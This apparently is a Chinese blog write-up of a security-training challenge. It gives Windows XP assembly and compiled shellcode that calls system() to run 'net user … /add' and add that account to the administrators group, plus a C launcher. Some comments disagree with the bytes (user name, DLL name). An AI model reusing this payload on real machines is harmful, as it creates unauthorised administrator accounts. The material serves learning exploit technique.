溢出关只有两道题,好像最近溢出的漏洞比较少了,也没有什么经典例子可以举吧。
溢出第一关:试一试或者手动推算一下,这个比较简单。
溢出第二关:题目要求写一个添加用户的shellcode,理论来说不算很难但是比较麻烦,也有点蛋疼。
第一步是查找LoadLibrary和system两个函数在内存中的地址
typedef void (*MYPROC)(LPTSTR);
LoadLibaray函数地址这样查找,其中kernel32.dll是贮存在内存中特定的写保护区域的,LoadLibarayA对应ASCII LoadLibraryW对应unicode
HMODULE ModuleHandle; ModuleHandle = GetModuleHandle("kernel32.dll"); ProcAdd = (MYPROC) GetProcAddress(ModuleHandle,"LoadLibraryA"); printf("%x\n",ProcAdd);//7c801d7bsystem函数地址这样查找
LibHandle = LoadLibrary("msvcrt.dll"); ProcAdd = (MYPROC)GetProcAddress(LibHandle,"system"); printf("%x\n",ProcAdd);
把字符串参数压入栈的时候,末尾一定要补0,代表字符串结尾,分配给字符串参数的地址空间一定是4的整数倍,这个我也不是很清楚为什么,我觉得可能是POP PUSH 所处理参数进栈的时候,每次压入一个32位寄存器,正好占4个内存地址单元。
我们使用 SUB ESP 的方法使参数进栈,也要符合PUSH的规律。
每开始执行一个函数时要初始化堆栈,EBP入栈,把EBP移到栈顶,这样保护当前栈中数据,并为子程序分配堆栈空间。
结束的时候平衡堆栈EBP出栈,平衡堆栈,这一点很重要。
__asm{ //LoadLibrary("msvert.dll"); push ebp; mov ebp,esp; sub esp,0ch ; mov byte ptr [ebp-0ch],6Dh; mov byte ptr [ebp-0bh],73h; mov byte ptr [ebp-0ah],76h; mov byte ptr [ebp-09h],63h; mov byte ptr [ebp-08h],72h; mov byte ptr [ebp-07h],74h; mov byte ptr [ebp-06h],2Eh; mov byte ptr [ebp-05h],64h; mov byte ptr [ebp-04h],6Ch; mov byte ptr [ebp-03h],6Ch; mov byte ptr [ebp-02h],0h; lea eax,[ebp-0ch]; push eax; mov eax,0x7c801d7b; call eax; mov esp,ebp; pop ebp; //system(net user wyl wyl /add); push ebp; mov ebp,esp; sub esp,18h ; mov byte ptr [ebp-18h],6eh ; //n mov byte ptr [ebp-17h],65h ; //e mov byte ptr [ebp-16h],74h ; //t mov byte ptr [ebp-15h],20h ; mov byte ptr [ebp-14h],75h ; //u mov byte ptr [ebp-13h],73h ; //s mov byte ptr [ebp-12h],65h ; //e mov byte ptr [ebp-11h],72h ; //r mov byte ptr [ebp-10h],20h ; mov byte ptr [ebp-0fh],78h ; //x mov byte ptr [ebp-0eh],6bh ; //k mov byte ptr [ebp-0dh],6ah ; //j mov byte ptr [ebp-0ch],63h ; //c mov byte ptr [ebp-0bh],66h ; //f mov byte ptr [ebp-0ah],20h ; // mov byte ptr [ebp-09h],2fh ; // mov byte ptr [ebp-08h],61h ; //a mov byte ptr [ebp-07h],64h ; //d mov byte ptr [ebp-06h],64h ; //d mov byte ptr [ebp-05h],0h ; //0 lea eax,[ebp-18h] ; push eax ; mov eax ,0x77bf93c7 ; call eax; mov esp,ebp; pop ebp; //system(net localgroup administrators wyl /add); push ebp; mov ebp ,esp; sub esp,2ch ; mov byte ptr [ebp-2ch],6eh ; //n mov byte ptr [ebp-2bh],65h ; //e mov byte ptr [ebp-2ah],74h ; //t mov byte ptr [ebp-29h],20h ; mov byte ptr [ebp-28h],6ch ; //l mov byte ptr [ebp-27h],6fh ; //o mov byte ptr [ebp-26h],63h ; //c mov byte ptr [ebp-25h],61h ; //a mov byte ptr [ebp-24h],6ch ; //l mov byte ptr [ebp-23h],67h ; //g mov byte ptr [ebp-22h],72h ; //r mov byte ptr [ebp-21h],6fh ; //o mov byte ptr [ebp-20h],75h ; //u mov byte ptr [ebp-1fh],70h ; //p mov byte ptr [ebp-1eh],20h ; mov byte ptr [ebp-1dh],61h ; //a mov byte ptr [ebp-1ch],64h ; //d mov byte ptr [ebp-1bh],6dh ; //m mov byte ptr [ebp-1ah],69h ; //i mov byte ptr [ebp-19h],6eh ; //n mov byte ptr [ebp-18h],69h ; //i mov byte ptr [ebp-17h],73h ; //s mov byte ptr [ebp-16h],74h ; //t mov byte ptr [ebp-15h],72h ; //r mov byte ptr [ebp-14h],61h ; //a mov byte ptr [ebp-13h],74h ; //t mov byte ptr [ebp-12h],6fh ; //o mov byte ptr [ebp-11h],72h ; //r mov byte ptr [ebp-10h],73h ; //s mov byte ptr [ebp-0fh],20h ; mov byte ptr [ebp-0eh],78h ; //x mov byte ptr [ebp-0dh],6bh ; //k mov byte ptr [ebp-0ch],6ah ; //j mov byte ptr [ebp-0bh],63h ; //c mov byte ptr [ebp-0ah],66h ; //f mov byte ptr [ebp-09h],20h ; mov byte ptr [ebp-08h],2fh ;// mov byte ptr [ebp-07h],61h ;//a mov byte ptr [ebp-06h],64h ;//d mov byte ptr [ebp-05h],64h ;//d mov byte ptr [ebp-04h],0h ;//0 lea eax,[ebp-2ch] ; push eax ; mov eax ,0x77bf93c7 ; call eax; mov esp,ebp; pop ebp; }
关于怎么把汇编转换成机器码,我是直接在VC6.0调试的时候,根据EIP去找内存,直接粘贴出来就行了,最后的shellcode是这样。
不要忘记在最后加上\xC3 他的汇编代码是 ret 让EIP从shellcode中返回主程序
#include "stdafx.h" #include <stdio.h> unsigned char shellcode[] = "\x55\x8B\xEC\x83\xEC\x0C\xC6\x45\xF4\x6D\xC6\x45\xF5\x73\xC6" "\x45\xF6\x76\xC6\x45\xF7\x63\xC6\x45\xF8\x72\xC6\x45\xF9\x74" "\xC6\x45\xFA\x2E\xC6\x45\xFB\x64\xC6\x45\xFC\x6C\xC6\x45\xFD" "\x6C\xC6\x45\xFE\x00\x8D\x45\xF4\x50\xB8\x7B\x1D\x80\x7C\xFF" "\xD0\x8B\xE5\x5D\x55\x8B\xEC\x83\xEC\x18\xC6\x45\xE8\x6E\xC6" "\x45\xE9\x65\xC6\x45\xEA\x74\xC6\x45\xEB\x20\xC6\x45\xEC\x75" "\xC6\x45\xED\x73\xC6\x45\xEE\x65\xC6\x45\xEF\x72\xC6\x45\xF0" "\x20\xC6\x45\xF1\x78\xC6\x45\xF2\x6B\xC6\x45\xF3\x6A\xC6\x45" "\xF4\x63\xC6\x45\xF5\x66\xC6\x45\xF6\x20\xC6\x45\xF7\x2F\xC6" "\x45\xF8\x61\xC6\x45\xF9\x64\xC6\x45\xFA\x64\xC6\x45\xFB\x00" "\x8D\x45\xE8\x50\xB8\xC7\x93\xBF\x77\xFF\xD0\x8B\xE5\x5D\x55" "\x8B\xEC\x83\xEC\x2C\xC6\x45\xD4\x6E\xC6\x45\xD5\x65\xC6\x45" "\xD6\x74\xC6\x45\xD7\x20\xC6\x45\xD8\x6C\xC6\x45\xD9\x6F\xC6" "\x45\xDA\x63\xC6\x45\xDB\x61\xC6\x45\xDC\x6C\xC6\x45\xDD\x67" "\xC6\x45\xDE\x72\xC6\x45\xDF\x6F\xC6\x45\xE0\x75\xC6\x45\xE1" "\x70\xC6\x45\xE2\x20\xC6\x45\xE3\x61\xC6\x45\xE4\x64\xC6\x45" "\xE5\x6D\xC6\x45\xE6\x69\xC6\x45\xE7\x6E\xC6\x45\xE8\x69\xC6" "\x45\xE9\x73\xC6\x45\xEA\x74\xC6\x45\xEB\x72\xC6\x45\xEC\x61" "\xC6\x45\xED\x74\xC6\x45\xEE\x6F\xC6\x45\xEF\x72\xC6\x45\xF0" "\x73\xC6\x45\xF1\x20\xC6\x45\xF2\x78\xC6\x45\xF3\x6B\xC6\x45" "\xF4\x6A\xC6\x45\xF5\x63\xC6\x45\xF6\x66\xC6\x45\xF7\x20\xC6" "\x45\xF8\x2F\xC6\x45\xF9\x61\xC6\x45\xFA\x64\xC6\x45\xFB\x64" "\xC6\x45\xFC\x00\x8D\x45\xD4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0" "\x8B\xE5\x5D\xC3"; int main(int argc, char* argv[]) { ((void (*)())&shellcode)(); return 0; }